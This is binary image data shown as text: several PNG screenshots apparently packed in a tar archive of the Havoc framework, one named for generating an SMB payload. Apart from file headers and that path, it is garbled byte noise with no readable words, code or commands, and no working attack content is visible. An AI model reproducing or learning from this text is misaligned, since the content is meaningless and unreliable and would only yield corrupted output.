Gzg:@7fzo՟2׊())Q@_/R9tpիs;b{#=h[Ӧ,p[43QDVhfiTjuNNI'~{7.zvuXPP.q_rw"rqv|eO=K7}Ǿ/v$/8pjFwږ-}CzzfVvLTʹD䤚=kܪ5[uԩ󟅾ۅJÁC'{uNʊ\4O;ش)#/x{̥D}'!!9I`w\*M+Ș-fzo~^ѻwg"rT.WHJFH qri5+aspR?_oF# Ԋ(Nm{~׮)c-̖v3S>]|$Imڥ[yo_-A7e_ZZz貵WT7[XYb B7,Ԗ#a7mT!իW;rڈcu;տ qKNU(>ޞrU蓔]D1i;u;Zj*5{3[R7/ ={09]]7sןf_5zobLfMTJBBO͗,x]4KN&O|Ddzo{3j@e?Xժ-k9TƍG 㶽Dt֭ԮCHDJfvg^s ?8z,rk8Tރػ0]vŞ*W{}ƍ̮_ݴIzukuj9|K gޛnfwQuMY* g)o_|㿨Z?WTΉMxJKe?iuѶl %k]ZFf֜&jMk\0[[;LCll¶~ֆ=|X߮Iw(T>Y23EK.땚M:yhnݚ[߾swP"r ]˵@7n5q+=qҐ-x1v􅃇Nxիы^Qb,{3[N"rvv= 1:5j3|5OlzIef|pqv*lc-5&C7GMPT*R0q#G"*P tޛhjg}vƝexf%69 ^:'I('o!~1\&ib36C;W~/Tɪd~pzoEԺhv;bFDƉƓNwaVNge0F8]TcP(֮^P8oV'+CTA-ޚ6ڵ;w{{gV5sV}98rnռX̺hAճRpL߆E_g!zx:8(:udܤ ?HM}4|XoZQQ׈reo׮]݄eoWm[[ϊ㨣J5~ܐvm: 4|clpkx{U__ B鑒uzرsVf1~͉dhZ MټWy"pm63 9pdHThZ_}3zMw&vzμ XӦ;eڂ^CDժU߲^)|ryU~zU(4<u'x=(h`*;:-Y|}ڷ{.tjFԨ(&&~?rCG̐gg^Euш;!1E޾||}YMPԪYh:u^5*+'8Cg.pd'3l >eBao0;;ÏVjd5+?nִy ]}SW}}8t<&&]Դq]"};nƏe3/Nte}z5gtqD2 dsbb+vU;'K$o!pBo!pBo!pBo!pBo!pBo!pBo!pBo!pBo!pBo!pBo!pBo!pBo!pBo!pBo!pBo!pBo!pBo!pBo!pBo!pBo!pBo!pr( s/8pBo!pBo!pE.7ptw?7!fY_@ xVN*y}~Y_ AI*{(K!7 8x!C7 8it;'s|DצJvEvKs8x..5z^n3qrP&'%-SԹ+Dxג/ء˽[!#\+9AP:*͈û[#B$_0*yѯJQkS;jנo:kDzX7z.h^ sbӓUkyҥ7(.=Ӽv_mo_=wsJon90u`ݧZwjUnV=7X;ջgO]7jvl>4QC|_(z<-3sۈ(on'c~%}J;kQ$;ŋ"1\BDQ;5Qթs\uT>^!(&ZQqv2(Ω̜-ԠﭤisY^\Qn~R>4뇞n A!8Wб{4ܩб{Ct0K "Ko)B$k I uj40QT"J~׿?o'eTi&߸F{$"AQJZ\VΓ#\*e;{QmUDԱ"~ݿOA.,a\tbD$D+9oPխ"A]ݿoqID0{ڂ|$iS*4RTPvS x`Pi9­c."JΎ:ޣ$%<}IKoo&#+p&;[y4GT8!kqh#۽ո35qDԮA^=#IRZ[W7F$Y%}󉰝) QPYiv֨+{\+TS|%"duΎ Z7 hcH?g5"s@Ixbai{"Lr0Sx3z䖷01$I"Ik{rmDO$}P&vGe/jMmf>iW֛8]IHڹԍ(miOg!Em L~奛Zy佹~!ޘiaӺ1Røffy&M4)WYF/rٛJӄ#"XN܉7Ö~ed/ SMlm%T?r.eS-iB奕jz3f4zBl"4pDd) \3-/c1oř`6ƙ޻ `m΋3z$?r-')IWuy3;4/YK+0UM^"2924엥6 xX Yh`P@fذ{b[2hӱJic<O!RHY1H'sޘN(5֍7$+X}3;7DݳoH>R#6'Wf K~6Ҍ7KlHx!Bo!p vD*}IENDB`havoc-0.6~git20240910.69ce17c/assets/Screenshots/PayloadGenerateSmbEkko.png000066400000000000000000001231451467014221700261250ustar00rootroot00000000000000PNG  IHDR& pHYs+ IDATxw\Ig7$B XP,靽۩ggwZ ec!A% ~h2lصC"߹BJ= 5 FBU6( r>K<҄MpB <B~ xJ9ˏo/Vc!**߇yP7xJH#* BUtr-PhrN1STd+_!PrfQ-Z _Rp).o B  .S''x`:FNySxB O  q?2)9Mް!0?SHJ !䏂\EE (3싄s<%N!b󦰰!L'(!Tn69aAr0@BJsPR?)O (6x8 Sd^SDNQiP0o I<>{ !P0Tq t)l6)l|B\&5003 . hxIII .HBUBU@|;Gڰx"Q 0J5B 0e숄P@F d CG|&gyBU0Lq$\ )"JL!Nv[L&-@!T0IvL"Cq@c>vt!P0Lo(grmCȷ1CB! F16)2(0V@5ȞNn /#BEBL[@Z1g|[=]!PD D(6r` AHށN B)=QB}@e%e=sͻ)+*NףF!Tip4Hϔ(jhOt|L^ͳ왟dUJM%!F/{w~]Xqh'_keҥ.]>4iLwaȾ8|e7Yk(& kM!6w--;}{>竻GACm6®̣6L BޯBN_6nN[[ء{ip6Z,FF60$}ӲK KG9&9` /55ҥ`e]`Yo}sLa>O޿eK{vŋf}xߺup8 G]v23:;;E ^sܘ1TӴZ4=԰:Y$rۻv=y>ESG?n$ܸqڶbk琘Y`F.9m8L𡟝]=7UTnbc?| iNu;PFzȠ R; '0yPGtÆ%?KO3f9KOi_ NNmVn=˿Sd?3r1@Qm֮mѡCFM0Sj*΄-MRLz0tѯ殠yaꠊ-\._jSXghvA-Z4ӥ(@~~mv::BN)ԫ_id2\vkllW mӦ>a7y4`*wd?}WRڻ;#T1<~,::.Sĭ[?|5͎k>ƍ;MصiӼ};$ѓ's7D|&!$CQL\2T.Z*J&}GEeM^Ů )W~Ƀ*IϚxֽl@M4==}=z %vXڮuw<G4#{h@{E .Ͱֶ wlWDv9!tk+>.*8pwZhha{AYdsӦݳ_mϟ;K$fϞhѢ鹳?vvUy{Gר+vn-a$1TÜR Y*ǏyP&kwA-ذǭD%k0hP Ng:/^?`48TL&ϻ}Ң)ccT$B"3-Kk-{ h;IBaB0lSxչsVw_*K u7ֱd2̴/דRJlA.RE4MES4MQMQ@Ex3(78AUJήp綧;P(hS5\ʒ^NI(tG Q( QCrPr|om:YBL.sF9@4MSي|e=R۷yyPQBQ. {'BFB!A!"9!T#!` R sB~,r!6B*%%{75B*BHE0rBFB!A!"9!T#!` RB*BHE~7U@ pxRi;BJrizz2)@ 042nhטɧ(u!zH()õmDsdu!N(5VF9%J%|M^bHA!UHIM34ГJ%h#d^ (#PաO<Bp:ȱ0|Ek._UVm<kN=222˪͒@{a蘄U]OBH*btps7W2=a,Z-%%UKq/Y# .@U"rx_ugffic& 9z _݇ Ч\ٹ0̟79%%-.>qܟCR?Y{֫i9ӧ/e#y&G7_nx܁5mR?##[/^oڠy3۴-6m>:lhϬ,ɦ-G)١SK.MS72$-upksA1׽|e#L]eϩiK*^6;mb7Wkq/̙=A!&FGnw[w_=j|)tps3|Ĕ~6~?pIJ%nFrF.+D#8Q&ȐA=tt{l211>eĂ[##|14vrl޺U5gdAۯoƍml;))0 :ui?,jQeUѡU1-dDvEV[޳G{wN[Z+cwH^rݺ8ժ]^򫶶&M6u,-jSo !M*Oݺr}{wJ,]!|+2>KAIggO/_|ǏvVn6UYΜ+zxkvWwJ#B!Sz䘛|-{\}a%?p=fBȩӗ$!B!PzޙY[fdتUmKoϋff&wyuiŴp`&oϋ* )}ԠkWݽ}jYښЩc6h. ܛܥ˥ =/޻{f^J_BEQX?y>ʒ}[v\\n͒KH8s5jNU2ƍQOgOnnֽ__}(%e c%ϙ=a BbjfV֩Yokk{B(=r>6ib>x1xx%N}FΦs)hNKO쫑17ooei3WgeI˦йSZř.}^h58T)JbRիw )8ﱰڵƏ)i_̻^?]6n>%2FWW+Tr  ׮pbc~3*wų7kb,yT m)cN߭7x;ZZsLruqLIM]~O?hӦŜY/Y;mnܼc%Kg?p,0&IM@.F$+Kbm]K*G x&oRR۷jݪ32Fm}oM4ULL:kgovq}dgn=x x=|緎~͍kZSjpE++{~.> T5{ R$j=f|ENQԩpÐpGarZ u˙͝3@1KdBRi.|.8$4m߼r5m;=;)iiW[e'ܸsſ|偵}ղ4jpPxA(5<<L TV=A |@fN v9_G8o'{цy MMͳOEj#7 3\.Z5C^z![+dG<~]+ڔC2Bþ]?>>IQ 򎑽dP(Q:EQB@?.>(}ݯQq_9Wf )n-rjZᣗCDqqV̓>EvU y;B}wR~6Z|njj*#gtka 4d\ڵ,FQTtt\.6bRjjzݴHpɩ(K|S;5kxz=a_JLJfLP !r9@wЅ.|.D~=q?\xGGaFQ,#hh_Da /zmmMoZ[pb|M<::V- ږ4Mc]]aCx<--Νuuu m39Yt_tuu4447_ߦ.^8L )bs>s{եuC>ln] \;?~%gBd2YJJj& !Ɔ|>7>ֶiJQѦUϟ"I!yFf EQՌG?!(R?QΟ a!C'y}liiycj\D"<8q<[-<<;xʒL4oqcG>y_Ի|yS^>&J^|{WnD%( IDAT7-|w0 ݐAߦr@[p^UES]קA=6m9zz:Æ44ӞgI;iFuwm_!~gPաkT}Va0 ð#%ZPrGZZ' Ij BҫfdX\܂!/Ҋo*%%(iiFSTvd?rP!k!k PYrPBh3B %YT^: 1O~E.XYYS}B߅) 3eyS@Wr!=8 9#gd\U99\Q8qfB5_}!PՁBHE0rBFB!A!"jGA߸"Qꋗoؚ2|RQ׮ڑ!OY`/1!B]kg IIu(pȠdIdj=@X@;b4;u_K3r\wV,r9řpEf-Ks[J h\Zl߾ a3ttIJ[33:<СuDƨe/B<!̾A@`P@BTщ5mmV5kw&BHdd[>C' ׸QcK$?[w|]W*%BpU6r3Uoʛܣ}EQ&_c23% @Jj#2%"[YI#~^clbb6oڴi1gKΟ?A}7Z{o qsuttl=`dQM Lkڤ&MNH厜Ĥd}5$X4}SbB&oiMS-ݦpiܨn6Mw<)JI:ըFbFl꠯%גE)kWϚ6cuk̘N?pͺ5Mnl\x;9W5# 0 3d/Z{Cw4?pBLLB'::uX, 8ꍜu>k{urտW-MX0m6dK455[9{eڔ?ÿׯo߱c;sv\;N'=/޻sZ-{WJ$B$&ffOijh(gNjc$oeҧw q梥۲2۵kFM8iVovm̬Q}:s>L;qph%JOݻۆ@__o?x\D::ڻviܸÑg;H$6& .Vk9] k9m511Ƞ@]:9&$&gJrV;.(>>Dn7!!Gnk`o\ݰ^ZD|BRSټ{1SddLn^?}bծ̬=OϞD*ݹTF_0gwhq}AARAjc˽S8**ZkZBOB/Q7x$P1TlԨo*y-y&EzYYQ ɍ<ɾO޲%rBjժ|~] kԨ.h?~r4S$!Б ;:]uҽ'O_s(uÿ~]A7fr,VH ))ieC {hf 0( ]up-盨X3ѱ%n;HA.B._9 Iz:aa_!?G5i\5ȩg[ 9~[5a EFm i Z4+X<$H$+<|تeGU|8o wiv㗭,P^FEFEUr}j Ћá5k…]6hPמ]F>\ d PVM@K/$LDKɋO$BF!9C#gollسKRO[hTڂGy&8*:^?|b:֖1.2]PXV<(C1n{ٳl6mZ7!|Q٩c[ h٢f1"JkT\VF9YY-X0uQqs/ ]-\vMfm z<};טTKo2yS?O@Y~'#B>}$$$HNiAl3{9W>ihG:/{>W}}_7l:$J(1MU2 LM5mm;w!n۲}njw;0:|¨}C>%mthİ^zvzPhT}VgƟc0 ! Ca$'{}4?ܑɩ}|BZz<|%w!/JX^MII)hiEϠr^c !L8rSJJ bԽ GC!I*!%g9}c/r,44P* .LqfXh9X^~%Peh8#ʡ‰3Rcʩ|]}!P%BHE0rBFB!A!"9!T#!` RB*BHEvq^!CK[Ue=훩Q^(,4LG JVgDĨQ"q ibuw!TZB!Q(\i@*AE4H$KK5r@jkPwP!x\K@K].G!*/өcA{&&%]W>GD.^h'{vYwc4Dfvi˖M̚؂5%Rin:W!PodOtq#-YĤڪU!&ř ?|)/x?cڟhCb$W Lk94Ms={ QQ5k֘=su\\მw:жe.-X<''*ڶmcquw*޴Z5Y36oIQԠDFt+#@rr=zհ˗oɱղ >?uhmuti^x\KA =|ehӺٸF5k̞5^=_VHu+Bǩ5:<=}sxzy5bæ=K̮eiξ4a܈!C'3Ŀ Cx\8cg?gݺ9|Lf9κ5 I}t2(3SJ⬧O_o?5_zsL4731jZNfy\u^|׽[<̟R]G)Z'==af$-5ڴIeg^/xyi]g/MkTB={՛7OmDRXmBƍe2xc9I/G#Fߺuc?'rե ˾}*~MjtdҥSMNt7B?GD)< EIXӨXC2_NPP07Hy<3gUvmEGDZyS '̄FB#'88<9YxmEaLLi cS&11({ߎ9ɱJ&zݽBתUӦU12>ء= *:/cPZBJ޵@Fk7ib @U3477Ӎ&Ml۷ߕsUT[4oڰa=77Ǒ#H$K ~Q.nO3MM97\T .'Wzqmx馾h{QD"9kc˗9e˦r E۶BB0@aaBtu KlWOO'99y/qFzucىw¡]qk?8<<\SϺE)P$J+D(i(i*ͮz}d?r2Q~}8r8@kʤ~~O1oBHeV䄅'eVlPwB QTiӧj7Q%3 c3rbc ?Q;*Ms!&qF (OZA!F9!TrFN6-|];x`B(j׶7gm].YKu8b{W۵,Y*5~'(!P9"gs_y?e\.siFҘ eqY- ,L- M/y3PeW&M}|K$\^|o8qqc+ [=+Zޯ iܙ}UPɤ\e@4"c {**C>|jɢnnN%z=O1ݺ9m ֵ֭]~N}`V-Nx={-Z8SOOԽ(0]ht"B ʅ9Z)Fݳʲzh(mOۻ_r܅..le##=^:~X[VT"edc7|PwWBEeX}}С Μ+W>9Ws13W꿣;*htmmչޮڸ:l!ZPPܬ/98WWoBjQI"g:8y*1fIWQW2mދZXk3&w&&BH*I# =/>^XX޵[7=x`S׮ӦB;feJ-ڴgQ+DX3# ٠R9{M4/w! !CG֭]\~po[ŭ-6_瘡4M=21)YUEe20|Zϯ[~/wR*t*hhvνNp6lܥ(sC~O(4 x"BH*[$y5455Ϟ>M$J1fFέ[•-ݢM.pte$1rN5H$r<$$#ߺqSW:9>{z׃ W._ύnӦŹ3=ӭkQ MsPu̬7?yاw7%>cm[W :BMMH$Rb|6 AI..xz)֫s=/\8wɩ5[8dH{f;M.S&ͮyɩ{<߽s { }}wLvn_i| *!ѼYc7WGWf#SKtss*޽<ӭCۖ`m]k7tF>lUb1ݳآ3􄅶Y7e2˷um ;t#G G s4ܾyBEu,]2{-{kמ]F>xƌ%8yׯ1зOaC͚w6;~9ЖsًeccrłlvюW>]f7ж} ُB+_$xrr 499eII:x6O4zVCOGFFD)n{8@}}=.pqqd+Luںvm마ROEzc?ߧ{ |ʭƍǻt;slƢ0H$ٽyZZFDW|[ ѡ`7lu0YYYssc;qb;^{;v/wxx-3ǎjKGv^Dנ!&F|oBD+r W2oXuq4QT5ss/;p܁=: `^FBS[=}2..! SmxE"\ }=aRRvd^y} ɋ~!Bu}{ֳ׷K O_r44733 |][iQ115LǷo{dRF> w)>(Vr|8-_m;爲_#""oYT66V\.'88W?~ >̝rh4m렢ڗ9ǭ^b[b-{G>x5nLtL\C7ihj]]?g 9PAQqf95jFJ "P)Q+)ITʼytscofӤUw<ԩKSaQӌ(ږkҦM ҁjYxSRS mѳtq#\n[?&rѦu'/ի֭Ϝ1Nq*e.B 55<4ick==zuml~6us(@]xS'8zȐ>Gϋ#Џ*խks&4n_*^jbpHبߧWtulڿy,Z5wc걱q.dmӺeX|ҭ->s30QQGH:933+88lĹ1qEpvNmϝ[O8 ęݺ͝3JvM5jQQko[xvS}ȮQA7b-Y4ki#FN c Wzq¤yD[[G !T8_Ntph5}"uw!/!P凑BHE*Z2>sE%fi EUE904Y%VAgBN+(.0~?+Oߘ8aZzF4)_[#䱏GTQGwԒS_؎v<4{ğ]%A`06G=-!TqU?Mݽ4g5LyPksn0dp{wϜ;^]bZ0۽kţ>sJE)0W BJ)\Aׯ]5k2iAA  ۾mU@kW^t*vCh= :ݍ٧'v<#c!ȁ'wYxE %[ӗ+>f-:{]EqfeYSF~'gwwwggz6]Hw=]D|g@G:}ƿvF޴ AIT,g= !qBXr _B@ -\YY&e %UeO0m'i)K_C`) u!^۷*+ I>]]$Av&qBjxb ,~h;L)! $}ȁӶ{Bl6m߮%STT9RÒsfOt~hk`6}27/<>aM۰iם/~;0 @*?e˦o>{z X>7z<^8!5 /@eF,3-e3P9 I2Kb*K*38>4BdXrPYRȥ*J%*#Xl6I2LVK*3 :89~!sPȈY~"ĒʌR;:2̤Ԋ B(7,9e2==^rrJEw!Aff\&[x2FQPe%% ( TIUO,9?d ٹl?PG 233^lS"QWsD[]'}1)5!o{\yv*BT钳ލ On[~k {_~(Cv7#RfgG /VKK . 9Ç]x;-Oj3(?!bUzXOT/ϗL*ϗM}?}Z6USƟܽs#{kڶ8x`{^Hr(ɜ1}ܝ[>~ռ{9f<>2~՟|9EȔϧ) (Ҋm|ה* 8 "\HEPz̍6:YG0xdEˠ W*]r?oI.fZl,!88n߶jϾ-|;"89ݸMkލ6'Z͜1vɲ,,Su6l٪MO6ox|y"Ìm5TR[2 %Ϊ\e֊OL9m2'|H4, *Sp ?Ӌ>*T>cVϗ{1"Ic߯@VV΋_R(S.wv؊( 1-6.( RS\00٣K@.бݻܿ'pY3mٺL7 C@` H3FiuͿw"Qݖ`2 ;Q *kGJAc)1nH*_sBU$0e@eI27*8KNQ v@'ݠGyMk_Y[[xxupXzN[6/(Jrrw{{-)Jz♳]и'AFF]:I6AH JNoc?)RD]H_LY&,K菲LEkm* . /_ˏ8D]l}ŭ;Ξ|,ĤBH3 s$ j3(rBRxb !QN%2aҼRQ FEUڰ2d Է!*CCQ~~>R)+`Ae$1q6fff%9=Xd`A?I#?}R(J!T!L`XEcko*jdsBr;BH-9jeY֨ǙSn\gT~kϰl+H)2la%r>~Ǻ8ͼGE;w,!l>6l7oCK3KhX|*}˗oBSJG""2BDwn?իW歠 רT:ujl߶l֍毢{5o4eHSS/]1/O l6{!;cXa0}}c #99[!|>o^ғ.$EQsfOMIM=r\.3ouHo4\r>ExԯӺUsã~OJiE.^wDWyn}u3m O(=V"H/uIʉn<. 10tԮ];v։^8zA߷i!_TJNFFeff/33+##vI+bbhnuuRWIY-(hωI|;;ӕJW ]u,RW!\'22ʰޔLcsbb[A+ϩ^@ EZZz˖ކi\fvv'r9f=un6!*JZrɭ'3λ9u$)Uv-X]kr|d! {a,[L;;˗΢_.[QT_:rpK=_DRE'Obm^Q@"ϭ (LI2oۮEgZ*g!mZe'pAEw!*zb !,<B%!`AF[k2baoZ͖=go(P0dW0fir{Кen'PKkntiE.9ޥ(Gݧi^%a' ot9ҕiRaO6Ӊv<pG܀lrfk?Mu%E+$ہo%~kucɂ&wǬ7q}\3}q6p l|:̐e2+9n$ha AUVպcKg~aJ\׵yҰЏͳsĄAwk.3^=NgYr O6lwyLJz,A2Yl ]Ig_d~8UxղZ7ٱQJP%r7"nf.(þKj崼F1͹t<~jc1km6k`tkP+#?>0 n.[>loV0gX.re^ƃͶ`2noocf2L;;_oԪ7Ͻ )y[@;禘ּLJJ1u \[|Fz.>zc][-]Z9lJ%F-vK`+ÍJf6ͰrkWm< 2&FO"=n42(P$J2*W7t+"mmxK.ϯ2Z -LF;S1`gg|fSMnܦvNC3͖zZoMpK-ErI3"nbۆn)2q:n+5u?TzϿ/ֺW,s8a޽~iz2ЯK6t쯳coo\6Q1`an6s%6Ξ|L&ݽGO wډUe0~؄z E4bH*E OL!bɲ.FTtǑ+esyY&k>?ʾV JU*- )9uV o}''0v'"E=l\[qjXC[S=E ya'KuZ< <ϱ_8 "C݊9AH}x7J,V|]**nKvz M;+%'cķZ!40.U^r{'w'ǂw\.g7n>{uaCoܴ*J*@|B ߽ oؠMtT,DӦ-~mн`D" s֭,,~mҔ »If WZ{1 YDQK17u@/*O;lڿdb4"O>SC4(S$V⧼ J l˰M781JR7OIl 12,ɻFl;<2_%'L K,Uԫ8㦯v0*q{v{p N2` ֙g@.cW|&)K)(7Cv0q^1LRB8^J*+v"]s=Q( [^OI)!H4ojy&6mVܬWtotF}mELy$I|EZB$~Ͼ}%RP"2aI)s* @RuIr^. IDATl-ҰMԼi2 Z\+Uz6֖t/~WT/U*U||b-CC?>|yvvQaq bY9o%n lҸ~7ߎ6;0༝-+ƗE2p0|_SRȼX\PRd)R fZp)% ۙK??J47fɢyß3tjyg(*eS/MN ?8FlkN9˖ǶM3qB:bhWiG9kx2SFi,< K"E)T{d;D QeQyyS8ٖ\y¿ %W[oYM{fkp=q<$rZ4Q1Ξf|LW|AG(*: >MXܙWl~Em²2A;3q_o J^|n_PJPKަi>ܺ"oMP3͹;$ 0:,+"QҨ<_quu)>>ʊm3[bA)\r3Ͼ^pMI{[ʎDSJH+7{YAY4jbDz"U9@Tėb~1m%@jуr[p:$lCYeOPВRQEk'HReU#H&RQ._A#$gCRɂ2nq:Dz >WPzEݬN|يxz)۞q$RB@{M<9Fl/$ h={ #2FSr ėU9}fS]ìsq{)Ų@Ɖ).l= 4/! k`h<)m'2aòMskh,ox&TѸ.ΖZ&.~c>Õ"LAW+&@Øm{QEG9:5sI)i7l y`nxQ07RSCGBňGiXQO)97UU01H es9Yd>˒+Ba?9衠eqb4ƣ/FĈ6TѪzYD%Ucb &?q>1?euh+}D8닟gѳ*ɻl@(KNdnu}%O +%g}s͜o4FHx2K\ˆ6TzYD9{i_zJ2@9bM*`5hohӸ #2Ee"O`;z1˜K:D|}nM|^/)?ц*PU/96">E/XI g%K7PZSPK0 %Mƪ2 zL!K%S$JX\9W)O/47Kr;uGET)8#hb֌iȲ?%PVS[ц*>GEFFiZx:;e6z ' ih+:0bU[~z"J?KAD@/>Hrr}KSD#E"!xH>pDۧICł/nιJJXdT٧<~+SPG|DEy7+_mm4<.* 6ɩ/ ˕'HE,<($olE4H&i#üoK$eWBKĕ#ݏv?c`¼/>AYGi\ƭ!(8)g]J[F.A%,L.9h]zƞ,K Л3k|PPpzz6y<WO`/rbDݦm76T,)&M;+3d\%Q"@!c(%I^PpGRz'JmTufoaa``hhrΜڧndƳg}FA#4n,N0tW+CNܔyD ٔ'I a[˅5oTKGjs+#Pˆ6TV0 #*'hCmi%2mi'Bj6B??,9!tKB!BHG ,9!tKB!BHG ,9!tKB!BHG ,9!tKB!BHG ,9!tKB!BHG f[[kG!cVrxzZ5B 'BB:%!`A!#XrBB:%!kɡs!Iy.C U9 /J%ÑHD9!P( \6U>:UrrB&H7!A(RWG Ur/#*grw!,9!tKB!BHG ,9!tKB!BHG ґJWr׮ROٳ{{B\kS\]R2zԠ {GGi6!k‚Teeϵ%4߻Xrrzʈ]\]|=W##éG6oސdxe|oXEaç{޳Gys'\r(Y׻w?2{q\.M/_mD"SF.!ݝXST_&lmΫ:V?allyٽ.qnp&DCnXYܾ+!ɂѽG_}rc9VԽ['&dƜ\\=޹>m] ݾy*'x\yK̸uGև JDju;!*!ݕ@oG*͐[*.`lۺ255c_[) 0wK}on ;YSzj@> ^hm&8Tº7}B(-H8޻/:мY}JڵJBRѵ#~޽[qs5kyZȣׯߥ( &`0\]|4gdhia}ebbW ΞŃ:{ĿݳRT%dii֖\.}ˬlct!*ϗ=zfaL&` $Kiٔ:RJAN%0m[FGikᓁzo}w bei~iiiq]+Wo_z{g\t`U"!!E[>}7ۈBNռP_b17fomhF֭١k9P(BC?v;wB?o2c0ks`~~=(z(Dvtrg08nvv'r9f=u  b<}B!*=7ݽ0{e7EEJ-[m\xά WlNMM/ك..2q%罽@݇._ǚ;MH߮ޥ.-_{{7_T)HCMa.st ,Ӽϛt晖-?[&Zx<n|4-5lFR/]~Jecnٲ훧Ϟ߸G("PAhxgEQ*GJR(J(w0̙=!?_N' H$ I$ 5W ^A%F7xǏ~u G굻s1bx߷3jwlش_ ֹSK.q09tѿ9v[d2H#Ir˶#%bXhݻu抧M1[Qk&/oؠCY,~=f_!C}@%W<^Rh*YvRmbbYtzɃ\ >qlӑCk' 0?qY +qcv{߁Sϙ5ıM'm3k$:|o)߄郉Ѩ}n;v{0 9ibܘ)S255ѽf'fϨ;лW1r!T1*QN+AeaN}ѭk'?||ӹ⍛rcffܼ3@T ,\ӧX%+`ڮ' ߐ E  E^&,MJJBQ>{{ouG߱SBTڋ?Io^RyQc V.`046ssuLNNMqI>˗|k""zJ%b2mbil\R)pi:RE?![Qطv!Ie,9?.''o}6VR mH`mm-m/0JE|߮"«611YÛV!4 vn] PJy=l6`i'ILHBո;X[8QffF^ jr]0wLnn>}Etk+  ~Slf-\CQsl&٩Cz5.@Jj{ꦦÆrrJu,Mu !T&*׵d2jgk%Wcc,ߖmG~}̨~1KnKHLٻԸ1~Y411*aɱqIN_]x}U&N4vL$h7++gο sG]ڬ[3C*EE-\{jZ\ذA[_q| oצY ڿw98)*:nE:ݷv$B ­}(}FQT*T*T* KM۞_W%:-J5wcN? ySAߗNA$IA$I /)=Q)`GKocޠA#$8X], u븹:_ :0 ^.zk5BUySEֻfj #,őa-X/M+aB0_tjۦ@hֲch7,aBVn2iSpG` BiTJ8[lhE )Vpߺ">l~4!!e> )-(j矠N\>rh;۶iZ8Fc4F3lcG1o¸5kV;;ӫdܾ- m׶[~t}OڸnTnQ||yVv޽`Xt{:&66֭]bΝq'qBBǏ&"ճc޼ (J*0oNnmצ>?-=:mp+VHd IDATLL}CBB2tO^@NN޻C{!*k5i^V{!*׉5ڋ?}ߌ9FE&VLIM3517o|uq5e"~DT0 hK6K_ ٳTvv튉IԶO^I$2beeFכ,,Ljpڹ} 0$ !Ae,9wÆ27,%%zLSRӬS(4u\M9(a0͛y9XDhKYXo8vj.RNֱ6wp() %%ٱĤ}'!JS}xԡfFA8:q]ռAHښ%,x\MyP(b|Ql6NkraYIIi#b86hܮ\&QϽFZ.f-iִ ͍krmݴ{ D"a+Fe*:߷ۧU3|^|Bʢ%["o?~(""z-r%,[2 Xu\hs(>I1æ?>u>yfZjkP(kgkEQTtLۏ:t9Sn;2jD4<8rDcԴ7&#.\5"B_3WXzϳ:^/BAIhG_2jri٢тſWtB|Udɹ;eW$=y:crR._3%%nrHUYaDBUu:;SݱB2ÒBHGJ^N3l|mf@ ͘Q>z[{h_Уj{F;~ budplJeEBLly9G>(0li@gk߳$ɴc4y5͡njȱ .c#Ѹ1kqqA@H>7i ڵLVrJk$6ehnGO֭qjy zuk۬g"AfV}'<} =چ$+Wuk#!\`^Fߔa3s MWMoذYko~4+X'yo[wMr>;ڏn۵͡?϶i\Fu\dΝ5KuԢ~yy,Z4K[8Ѩ}n;v{Ѓa/^4>=#kȰٽLJKFKg==an>BYviӷog GYoӺi^ߔEK$'@v^]juc/m٢: !T*WڜYNtئsǔܲxFj@T._#115+c#xzyWTW ruq00whi4JUr6 NO!<Ӳn?z⃩ccbl6p8#߻]W]mi! VCēo(4/۹x^X*_&33ΪIw_Prl6  T,@66Ңc[9{=))-''/()F TyTkˡZdhk1_CR$&6gW9y"@_,gؾJcQbR<%5LLp 66yy'O 6_}h?""":11~TR,&>,<._uzT*գ葿^|WJ"+^8;vXZYXv־sgoޖtXҥXr*Q{jM@RRZLl+ Sn_5K1&%%ݻ`jjwUZ/X,ݥρle s4nTe/ HpIXU. l@;_jZֳ~dK^zu7'oO&pn]fv$IF|INIJIp[p^NN%E7 mYK_`coow niaJGpwBG9ɰQ۵cIvvQAK\F2|-K^nӐOC^oא=23sv>ݷM ՘a5@nL64ͮ='JX9z ŋwKm+\N( rz:bn^޿j *,w.]2)44b;/Vir9f055_t6hܮW6}7>r~o {m$Ǝoddgɨ+]3`&<}% t r~*66Ct-Pk{X}k r y9?_*##kİޏz*0/P_m|{0/!:A!BHGJ^Ώ(!dh՝x<0=;'WۼjEq)WF#$emA{[jh5mRӳI+7u# pW!9O|Iօmؠv+&1 WҶX,@-=\n|Bʪ5;SR2ƏhqYzUmbY6;' ߒ̓*e`0 E´,lɤO7\^'mrv9}tbZj@S4NseP^NKLc`}C~d 66u}ˡ''׶؉ZZG R '=vD"Z>g(''z̙5ގgmm>a~uL*٬K'oЌϚ1BۺzxZ6m~S6BҪ\G9W:/绗#'5-|dPf)Z?ׂ_Wq EW%o, @O(MX%h:qձIcso8;L_5h`w;[7o5\offܼ3@oކ:|^xoff G/HغUAg@hX4mRO!W\|޼ Yv^Ҹ^|)TEI12m)/؄Tŵrrپ=)?]S'L}g.Py3U%]KW˽G?.4/yiߚS\.;*MHBBH@"" T TĊX뢫z~zi~#۵km[SOOufjƍS~yӕW\pQY<ˉVSw23|秗 ;| z9?}:?svS :o=wu7o(GH6-΂/^]Է˕TQk>Oj䐧:l3wv<s7Я'w\g狈m6\~] 5k|g>K{w/{&o_/u3' rs:Lm{Ǽ6孑$"Thf䤧g޽;唕{/t.%z9Ჳuv eYʪ}@ u(r*GX_NرkC<ñ9?9wڝ"%"΄EEEDyW8uquv\g:ShV.M*%"[)·cVrlNHpg;_:jq a-PrA}7\gpHJr_3jؒV~y}rr]N<—uvΪ:nq߽cنQr+Z~rhgX&?qʰgF{ѽq㔈GX/g׮=]v۴i)" >ZzԵR*##}@5/GNro߶O/`3s3'&ȼ|lՓOWVV0yLeg'h/eff(BuX}Ͽ0{oaɒN/l⯞x'>*+|GgLshϮX/g[2y>ܵKټySOOKfϜe6͐jbDSzN-{ =ТC8@JrK'∋%sӘʧNSpd:"U:_ZYHޜt{3g[%K'&olյ7%>(.sBqϘ/TS:zAZ~j@Mџ*Օ;99g~}@=z9pc@CC !r9C!D"`0B !r9C!D"`0B !r9C!D"`0B !r9C!D"`0B !r9C!D"`0B !r9C!D"`0B !r9C!D"`0B !r9C!D"`0B !r9C!D"`0B !r9C!D"`0B !r9C!D"`0B !r9C]闭] PQB !r9C!D"`0B !r9CM B_}MvA½[^h|Ak !@-7""#s&v)CAt#1] r9C!D"`0GAѐmû_eO nW2xɶ]=- MD7Nz O&VUWG:" S׿E"ZfuζmO 